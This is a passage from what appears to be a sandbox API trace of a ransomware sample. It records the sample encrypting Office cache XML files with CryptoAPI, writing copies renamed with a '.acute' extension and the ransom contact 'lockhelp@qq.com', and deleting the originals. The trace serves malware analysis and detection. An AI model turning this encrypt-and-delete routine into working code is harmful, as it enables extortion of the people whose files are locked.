hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0049.785] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.785] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.785] CryptDestroyKey (hKey=0x593220) returned 1 [0049.785] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.786] CryptDestroyKey (hKey=0x593260) returned 1 [0049.786] CloseHandle (hObject=0x178) returned 1 [0049.786] CloseHandle (hObject=0x1ac) returned 1 [0049.786] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0049.789] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.789] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.792] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=4274) returned 1 [0049.792] CloseHandle (hObject=0x1ac) returned 1 [0049.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0049.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.792] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.792] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.792] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.792] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.792] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0049.792] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.792] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x10b2, lpOverlapped=0x0) returned 1 [0049.795] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10c0) returned 1 [0049.795] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x10c0, lpOverlapped=0x0) returned 1 [0049.796] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932a0) returned 1 [0049.796] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.796] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.796] CryptDestroyKey (hKey=0x5932a0) returned 1 [0049.796] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.797] CryptDestroyKey (hKey=0x593220) returned 1 [0049.797] CloseHandle (hObject=0x1ac) returned 1 [0049.797] CloseHandle (hObject=0x178) returned 1 [0049.797] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0049.798] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.798] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.803] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=16852) returned 1 [0049.803] CloseHandle (hObject=0x1ac) returned 1 [0049.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0049.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.803] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.803] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.803] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.803] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.803] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0049.803] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.803] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x41d4, lpOverlapped=0x0) returned 1 [0049.962] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x41e0) returned 1 [0049.963] WriteFile (in: hFile=0x1a8, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x41e0, lpOverlapped=0x0) returned 1 [0049.964] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932a0) returned 1 [0049.964] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.964] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.964] CryptDestroyKey (hKey=0x5932a0) returned 1 [0049.964] WriteFile (in: hFile=0x1a8, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.964] CryptDestroyKey (hKey=0x593220) returned 1 [0049.964] CloseHandle (hObject=0x1ac) returned 1 [0049.964] CloseHandle (hObject=0x1a8) returned 1 [0049.965] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0049.966] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.966] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.967] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=4274) returned 1 [0049.967] CloseHandle (hObject=0x1a8) returned 1 [0049.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0049.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.967] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.967] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.967] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.967] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.968] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0049.968] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.968] ReadFile (in: hFile=0x1a8, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x10b2, lpOverlapped=0x0) returned 1 [0049.969] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10c0) returned 1 [0049.969] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x10c0, lpOverlapped=0x0) returned 1 [0049.970] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932a0) returned 1 [0049.970] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.970] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.970] CryptDestroyKey (hKey=0x5932a0) returned 1 [0049.970] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.970] CryptDestroyKey (hKey=0x593220) returned 1 [0049.970] CloseHandle (hObject=0x1a8) returned 1 [0049.970] CloseHandle (hObject=0x1ac) returned 1 [0049.971] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0049.972] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.972] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.973] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=6421) returned 1 [0049.973] CloseHandle (hObject=0x1ac) returned 1 [0049.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0049.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.973] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.973] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.973] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.973] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.973] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0049.973] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.973] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x1915, lpOverlapped=0x0) returned 1 [0049.975] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x1920, dwBufLen=0x1920 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x1920) returned 1 [0049.975] WriteFile (in: hFile=0x1a8, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x1920, lpOverlapped=0x0) returned 1 [0049.976] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932a0) returned 1 [0049.976] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.976] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.976] CryptDestroyKey (hKey=0x5932a0) returned 1 [0049.976] WriteFile (in: hFile=0x1a8, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.976] CryptDestroyKey (hKey=0x593220) returned 1 [0049.976] CloseHandle (hObject=0x1ac) returned 1 [0049.976] CloseHandle (hObject=0x1a8) returned 1 [0049.977] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0049.978] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.978] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.978] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=16683) returned 1 [0049.978] CloseHandle (hObject=0x1a8) returned 1 [0049.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0049.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.978] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.979] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.979] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.979] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.979] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0049.979] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.979] ReadFile (in: hFile=0x1a8, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x412b, lpOverlapped=0x0) returned 1 [0049.986] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4130, dwBufLen=0x4130 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4130) returned 1 [0049.987] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x4130, lpOverlapped=0x0) returned 1 [0049.988] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0049.988] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.988] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.988] CryptDestroyKey (hKey=0x5932e0) returned 1 [0049.988] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.988] CryptDestroyKey (hKey=0x593220) returned 1 [0049.988] CloseHandle (hObject=0x1a8) returned 1 [0049.988] CloseHandle (hObject=0x1ac) returned 1 [0049.989] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0049.990] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.990] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.991] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=4274) returned 1 [0049.991] CloseHandle (hObject=0x1ac) returned 1 [0049.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0049.991] GetFileAttributesW 